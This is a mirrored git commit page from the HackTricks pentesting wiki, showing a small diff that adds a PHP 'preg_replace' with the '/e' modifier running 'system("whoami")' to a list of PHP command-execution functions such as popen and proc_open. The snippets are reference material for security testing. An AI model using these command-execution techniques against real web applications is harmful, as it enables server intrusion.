mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
GitBook: [master] one page modified
This commit is contained in:
parent
812b84171f
commit
28d815d927
1 changed files with 6 additions and 0 deletions
|
@ -46,6 +46,12 @@ echo fread(popen("/bin/ls /", "r"), 4096);
|
|||
proc_close(proc_open("uname -a",array(),$something));
|
||||
```
|
||||
|
||||
**preg\_replace**
|
||||
|
||||
```php
|
||||
<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>
|
||||
```
|
||||
|
||||
**pcntl\_exec** - Executes a program \(by default in modern and not so modern PHP you need to load the `pcntl.so` module to use this function\)
|
||||
|
||||
```bash
|
||||
|
|
Loading…
Reference in a new issue